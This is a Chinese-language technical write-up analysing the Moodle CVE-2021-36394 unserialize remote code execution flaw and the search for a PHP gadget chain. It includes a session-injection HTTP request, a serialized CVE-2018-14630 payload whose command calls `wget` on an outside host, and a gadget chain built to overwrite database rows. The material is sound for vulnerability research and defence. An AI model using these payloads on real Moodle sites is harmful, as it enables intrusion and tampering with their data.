CVE-2021-36394-Moodle RCE漏洞分析及PHP反序列化利用链构造之旅
漏洞概述
2021年7月19日,Moodle官方通报了CVE-2021-36394漏洞信息,当Shibboleth认证模块开启时,Moodle v3.11及之前版本可无条件RCE。
官方漏洞通报
https://moodle.org/mod/forum/discuss.php?d=424799
环境搭建
0x01 系统安装
基于Ubuntu v20.04安装v3.9.7版本。安装 `apache + mysql + php`:
sudo apt-get updatesudo apt install apache2 mysql-client mysql-server php libapache2-mod-phpsudo apt install graphviz aspell ghostscript clamav php7.4-pspell php7.4-curl php7.4-gd php7.4-intl php7.4-mysql php7.4-xml php7.4-xmlrpc php7.4-ldap php7.4-zip php7.4-soap php7.4-mbstring php7.4-mysqlisystemctl restart apache2
配置moodle系统:
unzip moodle-3.9.7.zipsudo cp -R moodle /var/www/html/sudo mkdir /var/moodledatasudo chown -R www-data /var/moodledatasudo chmod -R 777 /var/moodledatasudo chmod -R 0755 /var/www/html/moodle
配置数据库:
CREATE DATABASE moodle DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;create user 'moodledude'@'localhost' IDENTIFIED BY '***';GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,CREATE TEMPORARY TABLES,DROP,INDEX,ALTER ON moodle.* TO 'moodledude'@'localhost';flush privileges;
浏览器安装:
配置数据库:
配置config.php文件:
继续配置页面:
安装完成后页面:
0x02 PHPSTORM调试
在ubuntu上安装`Phpstorm + xdebug`进行本地调试,也可以选择远程调试,编译php7.4版本下的xdebug,首先从xdebug官网下载3.0.4版本:
sudo -s apt-get install php7.4-dev make autoconftar -xzvf xdebug-3.0.4.tgzcd xdebug-3.0.4phpize7.4./configuremakecp libs/xdebug.so /usr/lib/php/20190902/xdebug.so
配置php.ini xdebug配置,目录为`/etc/php/7.4/apache2/conf.d/20-xdebug.ini`:
zend_extension=xdebug.soxdebug.mode=debugxdebug.log=/tmp/xdebug.logxdebug.start_with_request=default|defaultxdebug.client_port=9003xdebug.client_host=127.0.0.1xdebug.remote_handler=dbgpxdebug.idekey=PHPSTORMxdebug.cli_color=2xdebug.var_display_max_depth=15xdebug.var_display_max_data=2048xdebug.client_host=127.0.0.1
配置phpstorm xdebug端口:
开启phpstorm监听:
安装firefox xdebug插件:
PHP调试成功:
漏洞分析
补丁对比:
漏洞需启用moodle页面:
0x01 调用过程分析
`/auth/shibboleth/logout.php`首先检查shiboleth是否开启:
注册监听方法:
在`LogoutNotification`中调用`logout_file_session`函数:
在`logout_file_session`中调用`unserializesession`:
最后执行`unserialize`函数:
0x02 `unserialize`分析
`/auth/shibboleth/logout.php`请求为soap格式:
用WSDL工具生成合法的soap请求:
构造soap请求,执行到反序列化流程,执行到`unserializesession`函数:
分析`unserializesession`函数:
- 使用`preg_spit`函数按照|切分输入字符串,并赋值;
- `serialized`为反序列化后的内容,根据php序列化规则可知字符串用双引号闭合;
- 如果字符串中包括|,根据|切分规则导致`unserialize`问题。
截取到的`seaializedString`字符串,需要寻找可控的变量。删除`/var/www/moodledata/sessions`下所有session。获取一个新的cookie。
发送`logout.php`请求。
在反序列化处下断点,内容正好是`/var/www/moodledata/sessions/sess_2m3ft4k2fnuafi3c3ir79l5i7g`文件内容。
经过分析发现`grade/report/grader/index.php`支持session内容注入。注入Referer字段,由clean_param过滤结果。
共有两处设置SESSION的位置,`get_local_refer`有特殊字符过滤。
使用正则表达式匹配Referer字段。
^((http://)|(https://)|(ftp://))?(([a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2})|[;&=+$,])+(:([a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2})|[;:&=+$,])+){0}@){0}((((((2(([0-4][0-9])|(5[0-5])))|([01]?[0-9]?[0-9]))\.){3}((2(([0-4][0-9])|(5[0-5])))|([01]?[0-9]?[0-9]))))|(([a-zA-Z0-9](([a-zA-Z0-9-]{0,62})[a-zA-Z0-9])?\.)*([a-zA-Z](([a-zA-Z0-9-]*)[a-zA-Z0-9])?)))?(:(([0-5]?[0-9]{1,4})|(6[0-4][0-9]{3})|(65[0-4][0-9]{2})|(655[0-2][0-9])|(6553[0-5])))?(/((;)?([a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2})|[:@&=+$,])+(/)?)*)?(\?([;/?:@&=+$,]|[a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2}))*)?(\#([;/?:@&=+$,]|[a-zA-Z0-9_.!~*'()-]|(%[0-9a-fA-F]{2}))*)?$
0x03 写入特殊字符
全文搜索`SESSION->(.*?) =`正则表达式,定位可写入SESSION的位置,发现`grader/index.php`可写入变量,且`sifirst`和`silast`参数过滤类型为`PARAM_NOTAGS`。
构造测试报文。
POST /moodle/grade/report/grader/index.php HTTP/1.1Host: ***User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: MoodleSession=0brdqm753n29k6mppdtkp1ocld; XDEBUG_SESSION=XDEBUG_ECLIPSESOAPAction: "urn:xmethods-logout-notification#LogoutNotification"Content-Length: 37Content-Type: application/x-www-form-urlencoded id=1&page=1&edit=0&sifirst=abc123"'abc'
捕获断点,该接口无需认证也能访问。
最后检查session会话文件,其中包含单双引号。
另外的一个点,`/mod/data/view.php`,有可能同样可以绕过,需要先构造测试数据(但需要登录)。
现在可以控制`unserialize`函数的输入参数,实现RCE还需要寻找一条利用链。
反序列化利用链构造
0x01 CVE-2018-14630调试
先调试下历史漏洞CVE-2018-14630:
Remote Code Execution Via PHP Unserialize In Moodle (Cve-2018-14630)
https://sec-consult.com/vulnerability-lab/advisory/remote-code-execution-php-unserialize-moodle-open-source-learning-platform-cve-2018-14630/
参考上一章中的示例报文,排除错误,进一步进行修改。
id=1&page=1&edit=0&sifirst="}}FEEDBACK|O:15:"\core\lock\lock":2:{s:3:"key";O:23:"\core_availability\tree":1:{s:8:"children";O:24:"\core\dml\recordset_walk":2:{s:8:"callback";s:6:"system";s:9:"recordset";O:25:"question_attempt_iterator":2: {s:4:"quba";O:26:"question_usage_by_activity":1:{s:16:"questionattempts";a:1:{s:4:"1337";s:37:"echo `wget http://192.168.1.241:8000`";}}s:5:"slots";a:1:{i:0;i:1337;}}}}s:8:"infinite";i:1;}TEST|O:2:"xx":2:{s:2:"id
进入`lib/classes/component.php的classloader`函数。
第一步:从`self::classmap`和`self::classmaprenames`中匹配输入的`className`输入,使用白名单方式。
第二步:调用`psr_classloader`函数,解析成功后直接文件包含,同样使用白名单方式。
`CVE-2018-14630`反序列化利用链中已不包含`question_attemp_iterator`,解析失败后HTTP报文返回。
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Serverfaultcode><faultstring>core\dml\recordset_walk::valid(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "question_attempt_iterator" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide an autoloader to load the class definitionfaultstring>SOAP-ENV:Fault>SOAP-ENV:Body>SOAP-ENV:Envelope>
对比3.9.7和3.9.8版本补丁,修补后只允许stdClass函数。
`recordset_walk`中包含危险函数调用。
0x02 新链寻找之旅
梳理下寻找过程,从以下条件出发:
- 从反序列化魔法函数入手,由于`logout_file_session`函数传入字符没有进行字符串操作,因此不用寻找包含`__tostring()`函数的类。
- Moodle默认从`/*/classes/*/`中读取类,因此文件需在class文件夹中。
- 能够调用或文件包含`/*/classes/*/`的其他类,如`include`、`require`。
- 根据以上条件,优先从`__deconstruct`函数入手。
优先找到了lock类,其析构函数包含字符串处理代码。在lock构造函数中设置caller。
接下来继续寻找第二部分,猜测`$this->caller`指向利用链的第二部分,继续在代码中搜索包含`__tostring()`的类。参考CVE-2017-2641利用链构造。
/lib/grade/grade_grade.php <- /lib/gradelib.php <- /analytics/classes/course.php <- \core_analytics\course(\core_analytics\course ->>包含->> /lib/grade/grade_grade.php ->>调用->> \grade_grade) /lib/grade/grade_item.php <- /lib/gradelib.php <- /analytics/classes/course.php <- \core_analytics\course(\core_analytics\course ->>包含->> /lib/grade/grade_item.php ->>调用->> \grade_item
最终的利用链形式,可实现修改数据库。
$add_lib = new \core_analytics\course();$lib_fb = new \core\lock\lock();$lib_fb -> key = new \core_availability\tree();$lib_fb -> key -> children = new \core\dml\recordset_walk();$lib_fb -> key -> children -> callback = "var_dump";$lib_fb -> key -> children -> recordset = "123";$lib_fb -> released = false; $base = new gradereport_overview_external();$fb = new gradereport_singleview\local\ui\feedback();$fb -> grade = new grade_grade();$fb -> grade -> grade_item = new grade_item();$fb -> grade -> grade_item -> calculation = "[[somestring";$fb -> grade -> grade_item -> calculation_normalized = false;$fb -> grade -> grade_item -> table = $table;$fb -> grade -> grade_item -> id = $rowId;$fb -> grade -> grade_item -> $column = $value;$fb -> grade -> grade_item -> required_fields = array($column,'id'); $lib_fb -> caller = $fb;$arr = array($add_lib, $lib_fb,$base); //serializing the array$value = serialize($arr);
系统安装后默认包含一个管理用户,默认用户名为admin,可修改用户名。
至此,反序列化利用链寻找之旅暂告一段落。